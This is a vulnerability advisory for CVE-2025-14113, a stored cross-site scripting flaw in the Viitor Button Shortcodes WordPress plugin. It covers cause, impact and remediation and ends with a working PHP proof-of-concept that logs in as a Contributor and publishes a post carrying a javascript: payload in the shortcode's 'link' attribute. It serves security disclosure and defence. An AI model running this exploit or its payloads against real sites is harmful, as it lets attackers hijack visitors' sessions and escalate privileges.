Atomic Edge analysis of CVE-2025-14113 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Viitor Button Shortcodes WordPress plugin. Attackers with Contributor-level access or higher can inject malicious scripts via the ‘link’ attribute of a plugin shortcode. The injected scripts execute in the context of any user viewing a page containing the compromised shortcode.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The plugin fails to properly validate or escape user-supplied input in the ‘link’ shortcode attribute before storing it in the database. This failure subsequently allows unescaped output when the shortcode renders. These conclusions are inferred from the CWE-79 classification and the vulnerability description, as no source code diff is available for confirmation.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post or page, inserting a shortcode with a malicious ‘link’ attribute payload. The plugin’s shortcode handler processes this attribute without adequate sanitization. A realistic payload might be: [viitor_button link=”javascript:alert(document.cookie)” text=”Click”]. The payload executes when any user, including administrators, views the compromised content.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the ‘link’ attribute value using WordPress functions like esc_url() or esc_url_raw() before storage. The plugin must also escape the output during shortcode rendering using esc_url() or esc_attr() depending on the HTML context. WordPress capability checks should remain in place to prevent unauthorized access.
Successful exploitation allows attackers to steal session cookies, perform actions as the victim user, or deface website content. Contributor-level attackers can target administrators to gain elevated privileges. The stored nature means a single injection affects all future visitors to the compromised page. The CVSS score of 6.4 reflects medium severity due to the authenticated requirement and limited impact scope.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14113 - Viitor Button Shortcodes <= 3.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'link' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2025-14113
* Assumptions:
* 1. Target runs WordPress with Viitor Button Shortcodes plugin <= 3.0.0
* 2. Attacker has valid Contributor-level credentials
* 3. Standard WordPress REST API endpoints are available
* 4. Plugin uses default WordPress shortcode registration
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Step 1: Authenticate via WordPress REST API to obtain nonce
$auth_url = $target_url . '/wp-json/jwt-auth/v1/token';
$auth_data = array(
'username' => $username,
'password' => $password
);
$ch = curl_init($auth_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$auth_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die("Authentication failed. Check credentials or JWT plugin availability.n");
}
$auth_data = json_decode($auth_response, true);
$token = $auth_data['token'] ?? '';
if (empty($token)) {
die("Could not retrieve authentication token.n");
}
// Step 2: Create a new post with malicious shortcode
// XSS payload in the 'link' attribute - executes when page loads
$malicious_payload = 'javascript:alert(document.cookie)';
$shortcode = '[viitor_button link="' . $malicious_payload . '" text="Click Me"]';
$post_data = array(
'title' => 'Test Post - CVE-2025-14113',
'content' => $shortcode,
'status' => 'publish'
);
$create_url = $target_url . '/wp-json/wp/v2/posts';
$ch = curl_init($create_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $token
));
$create_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 201) {
$post = json_decode($create_response, true);
echo "Exploit successful! Post created at: " . $post['link'] . "n";
echo "Visit the page to trigger the XSS payload.n";
} else {
echo "Post creation failed. HTTP Code: $http_coden";
echo "Response: $create_responsen";
}
?>
